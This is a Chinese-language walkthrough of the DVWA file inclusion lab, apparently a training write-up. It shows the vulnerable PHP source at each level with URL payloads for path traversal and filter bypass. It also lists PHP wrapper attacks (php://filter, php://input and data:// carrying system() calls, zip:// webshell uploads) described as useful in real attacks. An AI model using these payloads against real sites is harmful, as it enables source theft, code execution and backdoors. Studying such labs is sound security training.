LOW:
allow_url_include=On开启:
<?php // The page we wish to display $file = $_GET[ 'page' ]; ?>例如靶场提供了 3 个文件,单击这些文件就会显示其执行内容,同时 url 也会用 GET 方法传递参数。
在本地创建一个test1.txt,并写上内容,然后在浏览器当中进行访问如下:
http://dvwa.cn:82/vulnerabilities/fi/?page=C:\Users\Administrator\Downloads\test1.txt
攻击方式#
page 参数指的是文件路径,因此我们先传个不存在的文件名测试一下,看看有没有报错信息。传递 page 参数为 “1.php”,靶场报错并返回了文件所在的路径。
因此我们直接用相对路径,访问上两级文件夹下的 “fi.php'” 文件,构造出 payload。
中级:
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); ?>源码如下,代码增加了 str_replace 函数对 page 参数进行了过滤。将 “http://”、“https://”替换为空阻止远程包含漏洞,将“../”、“..\” 替换为空阻止用相对路径访问文件。
http://dvwa.cn:82/vulnerabilities/fi/?page=../../../test00.txt
此时再访问以上路径http://dvwa.cn:82/vulnerabilities/fi/?page=..\..\hackable\flags\fi.php,就不能正常访问。
攻击方式#
虽然代码将相对路径的语法过滤了,但是绝对路径不受影响,可以利用网页的报错信息推导出其他文件的绝对路径。当然也可以使用双写绕过,也就是让 str_replace 函数替换后的 page 参数是文件路径即可。
http://dvwa.cn:82/vulnerabilities/fi/?page=...\.\...\.\hackable\flags\fi.php高级High Level#
The developer has had enough. They decided to only allow certain
files to be used. However as there are multiple files with the same
basename, they use a wildcard to include them all.
开发者已经受够了,他们决定只允许使用某些文件。但是由于存在多个具有相同基名的文件,因此它们使用通配符将它们全部包括在内。
源码审计#
源码如下,使用 fnmatch 根据指定的模式来匹配文件名或字符串。该函数将检查 page 参数开头必须是否是 file,若是服务器才会去包含相应的文件。
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>攻击方式#
虽然是只能包含 file 开头的文件,但是实在太巧合了,我们依然可以利用 file 伪协议读取到文件内容。
?page=file:///D:\DVWA-master\hackable\flags\fi.phphttp://dvwa.cn:82/vulnerabilities/fi/?page=file:///D:\phpstudy_pro\WWW\DVWA\hackable\flags\fi.php知识扩展:
在实战中文件包含漏洞配合PHP的伪协议可以发挥重大的作用,比如读取文件源码,任意命令执行或者开启后门获取webshell等,常用的伪协议有
1.file://协议 使⽤:file://⽂件的绝对路径和⽂件名 2.php?cmd=file://D:\phpstudy_pro\WWW\123.txtphp://filter 读取文件源码 php://input 任意代码执行 data://text/plain 任意代码执行 zip:// 配合文件上传开启后门php://filter php://filter 协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码 使用文件包含函数包含文件时,文件中的代码会被执行,如果想要读取文件源码,可以使用base64对文件内容进行编码,编码后的文件内容不会被执行,而是展示在页面中,我们将页面中的内容使用base64解码,就可以获取文件的源码了 使用base64对index.php文件进行编码,可以看到页面中展示了编码后的文件内容 ?url=php://filter/read=convert.base64-encode/resource=index.phpphp://input php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当enctype=multipart/ form -data时,php:/input将会无效 ?url=php://input -- GET请求参数中使用php://input协议 <?php system('ls'); ?> -- post请求体中的内容会被当做文件内容执行data:// 协议格式: data:资源 类 型;编码,内容 data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行 ?url=data://text/plain,<?php system('id') ?>zip:// ziip://协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell 将shell.txt压缩成zip,再将后缀名改为jpg上传至服务器,再通过zip伪协议访问压缩包里的文件,从而链接木马 ?url=zip://shell.jpg